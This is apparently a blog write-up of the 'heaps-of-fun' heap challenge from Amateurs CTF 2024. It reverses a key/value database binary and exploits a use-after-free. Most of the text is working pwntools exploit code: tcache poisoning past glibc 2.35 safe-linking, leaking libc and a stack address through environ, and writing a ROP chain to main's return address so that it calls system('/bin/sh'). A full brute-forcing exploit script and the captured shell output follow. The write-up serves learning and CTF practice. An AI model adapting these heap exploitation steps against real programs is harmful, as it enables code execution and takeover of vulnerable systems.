heaps-of-fun was a heap exploit challenge from Amateurs CTF 2024 which involved exploiting the tcache and a Use-After-Free vulnerability in the program. Challenge files can be found here.

Initial Analysis

Running checksec on the challenge binary shows that all the protections are enabled. The Dockerfile that is provided with the challenge files shows that the remote server uses Ubuntu 22.04, and the binary uses libc 2.35 (also provided with the challenge files).

  
$ pwn checksec ./chal
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib'

Running the binary presents us with the usual heap-challenge options, where we can create, update, read, and delete entries.

  
$ ./chal
##############################################
# WELCOME to the amateurs key/value database #
##############################################

       =[ menu ]=
[1] => create key/value store
[2] => update key/value store
[3] => read   key/value store
[4] => delete key/value store
[5] => depart
>>> 1

       =[ create ]=
index:
>>> 0
len:
>>> 10
key:
>>> test-key
len:
>>> 10
val:
>>> test-val

Reversing the Binary

The binary calls 4 different functions based on out input, db_create, db_update, db_read, or db_delete.

db_create asks for an index, and then allocates memory with db_line for the key and the value.

  
void __fastcall db_create() {
  int v0;
  v0 = db_index(0LL);
  db_line((_QWORD *)&db + 4 * v0, 1, "key:\n>>> ");
  db_line((_QWORD *)&db + 4 * v0 + 2, 1, "val:\n>>> ");
}

// Function actually doing the allocations on a create
void __fastcall db_line(_QWORD *a1, int a2, const char *a3) {
  size_t size;
  void *v5;
  unsigned __int64 v6;
  v6 = __readfsqword(0x28u);

  // Create new key-value entry
  if ( a2 ) {
    printf("len:\n>>> ");
    if ( (unsigned int)__isoc99_scanf("%zu", &size) != 1 ) {
      iflush();
      puts("[!] failed to read length");
      longjmp(handler, 1);
    }
    iflush();
    if ( !size || size > 0xFF7 ) {
      puts("[!] invalid line length");
      longjmp(handler, 1);
    }
    ++size;
    printf("%s", a3);
    v5 = malloc(size);
    readline(v5, size);
    *a1 = v5;
    a1[1] = size;

  // Update instead of create
  } else {
    printf("%s", a3);
    readline(*a1, a1[1]);
  }
}

db_update updates the value of the specified key-value pair.

  
void __fastcall db_update() {
  int v0;
  v0 = db_index(1LL);
  db_line((_QWORD *)&db + 4 * v0 + 2, 0, "new val:\n>>> ");
}

db_read prints what is stored at the key and value of the specified index, in byte-format (\x…)

  
void __fastcall db_read() {
  int v0;

  v0 = db_index(1LL);
  printf("key = ");
  db_println(*((_QWORD *)&db + 4 * v0), *((_QWORD *)&db + 4 * v0 + 1));
  printf("val = ");
  db_println(qword_4050[4 * v0], qword_4050[4 * v0 + 1]);
}

db_delete frees the allocated key-value pair, but does not zero out the entry from the array storing the allocations, letting us access a chunk after it has been freed.

  
void __fastcall db_delete() {
  int v0;
  v0 = db_index(1LL);
  free(*((void **)&db + 4 * v0));
  free((void *)qword_4050[4 * v0]);
}

Key-Takeaways

The following are key-takeaways from reversing the binary:

When we create a key-value pair, the program allocates two chunks, one for the key and one for the value. The size of these chunks are defined by the length the user specifies.
There is a Use-After-Free vulnerability when we delete a key-value pair, as we can edit and read from freed chunks.

Because of the UAF vulnerability, and the fact that we can choose the size of the chunks we allocate/free, we can achieve arbitrary read/write by manipulating the tcache bins. Our exploit plan in this case is:

Leak the heap key. Heap pointers are in this libc version xored with a constant value of heap_base_addr >> 12 when pointing to addresses on the heap, therefore, we must leak this key before we can start with tcache poisoning (this is explained more later when we start leaking stack addresses).
Get a libc leak by reading from a chunk which is freed into the unsortedbins.
Read from libc’s environ to get a stack leak, so that we can find the address of the return address of main on the stack.
Overwrite the return address on the stack with a ROP-chain or one-gadget

Utility Functions

The following functions represent the different menu options which are available in the program.

  
def create(idx, keylen, key, vallen, val):
        io.sendlineafter(b">>> ", b"1")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.sendlineafter(b">>> ", str(keylen).encode())
        io.sendlineafter(b">>> ", key)
        io.sendlineafter(b">>> ", str(vallen).encode())
        io.sendlineafter(b">>> ", val)

    def edit(idx, val):
        io.sendlineafter(b">>> ", b"2")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.sendlineafter(b">>> ", val)

    def view(idx):
        io.sendlineafter(b">>> ", b"3")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.recvuntil(b"key = ")
        key = io.recvline().strip().decode("unicode_escape").encode("latin-1")
        io.recvuntil(b"val = ")
        val = io.recvline().strip().decode("unicode_escape").encode("latin-1")
        return key, val

    def delete(idx):
        io.sendlineafter(b">>> ", b"4")
        io.sendlineafter(b">>> ", str(idx).encode())

Leaking the Heap Key

Pointer mangling (safe-linking) is a security measure in libc (introduced in glibc 2.32) which mangles heap pointers so that one cannot just overwrite the fd pointer of a chunk to point to an arbitrary address. We need to know what the heap key is before we can do that!

Luckily, because we can view the contents of a chunk after we have freed it, we can easily find the heap key by allocating a chunk, free it, and then read from it. The heap key is the first 8 bytes of the chunk, and we can read it by viewing the chunk after it has been freed. The image below shows the heap key and the mangled fd pointer of a freed chunk.

Chunks with heap key and mangled fd pointer

Note that heap key << 12 = heap base addr. If we xor the mangled fd pointer at address 0x5555555592c0 with the heap key we get the actual address it is pointing to: 0x000055500000c7f9 ^ 0x0000000555555559 = 0x5555555592a0, which is the first chunk we allocated.

Allocating a key-value pair, freeing it, and viewing the contents of it reveals the heap key for us (and the heap base address, but we don’t need it in this challenge).

  
### Heap leak && Heap key ###
create(0, 0x10, b"A"*0x10, 0x10, b"B"*0x10)
delete(0)
key, val = view(0)
heap_key = unpack(key[:8])
heap_base = heap_key << 12
log.success(f"Heap key @ {hex(heap_key)}")
log.success(f"Heap base @ {hex(heap_base)}")

Libc leak

We need a libc leak if we want to finish off our exploit by overwriting a return address on the stack, because we have to leak a stack address from environ, which is located within libc. We can achieve a libc leak by allocating and freeing a large chunk (e.g. of size 0x500), and read the first 8 bytes of it. This is because the chunk will be placed in the unsortedbin when we free it, which makes it point into the main arena of libc. The leaked value will be a constant offset from the libc base address, so calculating libc_leak - libc_base = offset to base gives us the offset 0x21ace0.

  
### Libc leak ###
create(1, 0x500, b"A", 0x500, b"BB")
delete(1)
key, _ = view(1)
libc_leak = unpack(key[:8])
libc.address = libc_leak - 0x21ace0
log.success(f"Libc base @ {hex(libc.address)}")

create(0, 10, b"A", 10, b"BB") # Clear freebins

Stack leak and ROP

Looking ahead to when we are placing our ROP chain on the stack, we can make multiple small allocations where we write parts of the ROP chain at a time, or we can allocate a large enough tcache chunk and write the entire ROP chain at once. The latter is less work, so we create our ROP chain already to know its size.

  
rop = ROP(libc)
rop.raw(rop.ret.address) # Stack alignment
rop.system(next(libc.search(b"/bin/sh\x00")))
payload = b"A"*8 + rop.chain()
sz = len(payload)

We can then create 2 chunks with sz in size which will be used later to write the ROP chain to the stack by tcache poisoning.

  
# Create 2 chunks which we will use later
create(10, sz, b"A", sz, b"B")
create(11, sz, b"A", sz, b"B")

From here, to get a stack leak, the following is the plan:

Allocate two key-value pairs
Free both pairs
Edit the fd pointer of the first of the two chunks to point to environ (remember that we have to xor the address with the heap key, so that when we allocate later the demangled address is the address of environ)
Allocate two key-value pairs
Read the first 8 bytes of the fd pointer of the value chunk to get a stack leak
Calculate the offset to the return address of main on the stack

  
# Allocate two pairs and free them into the tcache
create(0, sz, b"A", sz, b"BB")
create(1, sz, b"A", sz, b"BB")
delete(0)
delete(1)

# Mangle the environ pointer so that it is demangled correctly later
edit(0, pack(libc.sym.environ ^ heap_key))

# Allocate two pairs, the value of the second pair will be inside environ
create(2, sz, b"A", sz, b"BB")
create(3, sz, b"A", sz, b"")

# View a stack address, and calculate offset to main return address
_, val = view(3)
environ = unpack(val[:8]) + 0xe8
retaddr_main = environ - 0x120 - 0x80 - 8
log.success(f"Environ @ {hex(environ)}")
log.success(f"Retaddr main @ {hex(retaddr_main+8)}")

Two things to note here:

When we read the stack leak from environ (environ = …) we overwrite the first byte of that value with a null byte. Therefore, we add 0xe8, which is potentially the value we overwrite. This is not however always the case, so we need some bruteforce here of that single byte (it is probably possible to omit this overwrite by using a sendafter instead of sendlineafter or something, but didn’t bother looking into it further during the CTF).
The offset from the environ stack leak to the return address of main is 0x1a0, but because the address of the return address ends with an 8 instead of a 0 we have to start writing our ROP chain 8 bytes earlier. This is because we will allocate a chunk at this address, and heap chunks have to be 16-byte aligned.

After we have found the stack address of the return address of main, we can use the tcache poisoning technique one last time to make malloc return a chunk to us that starts 8 bytes before this return address (using the chunks we allocated extra after the libc leak was conducted).

  
delete(10)
delete(11)
# Mangle the return address of main (actually 8 bytes before it)
edit(10, pack(retaddr_main ^ heap_key))
create(12, sz, b"A", sz, b"BB")
create(13, sz, b"A", sz, payload)

After writing the payload, if we send option 5 to the program, it will call ret and pop a shell for us.

Exploit script

The full exploit script can be found below. Remember that since we overwrite the stack leak with a null byte we have to do some bruteforce for this single byte (it is sometimes 2 bytes, but we ignore those cases where that happens). The bruteforce is nothing more than repeating the exploit a couple of times. At my 4th attempt the exploit worked during the CTF.

  
from pwn import *

exe = context.binary = ELF(args.EXE or './chal')
libc = ELF("./lib/libc.so.6", checksec=False)
host = args.HOST or 'chal.amt.rs'
port = int(args.PORT or 1346)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

# -- Exploit goes here --
for i in range(256): # 8 bits of bruteforce
    io = start()
    def create(idx, keylen, key, vallen, val):
        io.sendlineafter(b">>> ", b"1")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.sendlineafter(b">>> ", str(keylen).encode())
        io.sendlineafter(b">>> ", key)
        io.sendlineafter(b">>> ", str(vallen).encode())
        io.sendlineafter(b">>> ", val)

    def edit(idx, val):
        io.sendlineafter(b">>> ", b"2")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.sendlineafter(b">>> ", val)

    def view(idx):
        io.sendlineafter(b">>> ", b"3")
        io.sendlineafter(b">>> ", str(idx).encode())
        io.recvuntil(b"key = ")
        key = io.recvline().strip().decode("unicode_escape").encode("latin-1")
        io.recvuntil(b"val = ")
        val = io.recvline().strip().decode("unicode_escape").encode("latin-1")
        return key, val

    def delete(idx):
        io.sendlineafter(b">>> ", b"4")
        io.sendlineafter(b">>> ", str(idx).encode())

    ### Heap leak && Heap key ###
    create(0, 0x10, b"A"*0x10, 0x10, b"B"*0x10)
    delete(0)
    key, val = view(0)
    heap_key = unpack(key[:8])
    heap_base = heap_key << 12
    log.success(f"Heap key @ {hex(heap_key)}")
    log.success(f"Heap base @ {hex(heap_base)}")

    ### Libc leak ###
    create(1, 0x500, b"A", 0x500, b"BB")
    delete(1)
    key, _ = view(1)
    libc_leak = unpack(key[:8])
    libc.address = libc_leak - 0x21ace0
    log.success(f"Libc base @ {hex(libc.address)}")

    create(0, 10, b"A", 10, b"BB") # Clear bins

    rop = ROP(libc)
    rop.raw(rop.ret.address) # Stack alignment
    rop.system(next(libc.search(b"/bin/sh\x00")))
    payload = b"A"*8 + rop.chain()
    sz = len(payload)

    # Create 2 chunks which we will use later
    create(10, sz, b"A", sz, b"B")
    create(11, sz, b"A", sz, b"B")
    try:
        # Tcache poisoning to get stack leak from libc's environ
        create(0, sz, b"A", sz, b"BB")
        create(1, sz, b"A", sz, b"BB")
        delete(0)
        delete(1)
        edit(0, pack(libc.sym.environ ^ heap_key))
        create(2, sz, b"A", sz, b"BB")
        create(3, sz, b"A", sz, b"")
        _, val = view(3)
        # We overwrite first byte with null-byte, so we need some bruteforce in this case
        environ = unpack(val[:8]) + 0xe8
        # Chunks must be 16-byte aligned, so allocate 8 bytes before return address
        retaddr_main = environ - 0x120 - 0x80 - 8
        log.success(f"Environ @ {hex(environ)}")
        log.success(f"Retaddr main @ {hex(retaddr_main+8)}")

        # Tcache poisoning to write ROP chain to the return address of main
        delete(10)
        delete(11)
        edit(10, pack(retaddr_main ^ heap_key))
        create(12, sz, b"A", sz, b"BB")
        create(13, sz, b"A", sz, payload)

        # Trigger payload by making the program return from main
        io.sendlineafter(b">>> ", b"5")
        io.clean(timeout=1.0)
        io.sendline(b"ls -al")
        if b"flag" in io.clean(timeout=1.0):
            print("SHELL!")
            io.interactive()
        else:
            io.close()
            continue
    except:
        io.close()
        continue

  
$ ./exploit.py REMOTE
SHELL!
$ ls
flag.txt
lib
run
$ cat flag.txt
amateursCTF{did_you_have_fun?}

Amateurs CTF 2024 - Heaps-of-fun

Initial Analysis

Reversing the Binary

Key-Takeaways

Utility Functions

Leaking the Heap Key

Libc leak

Stack leak and ROP

Exploit script

Further Reading

NewportBlake CTF 2023

Dice CTF 2024 - Baby-talk

Cybsec X Oslo CTF 2024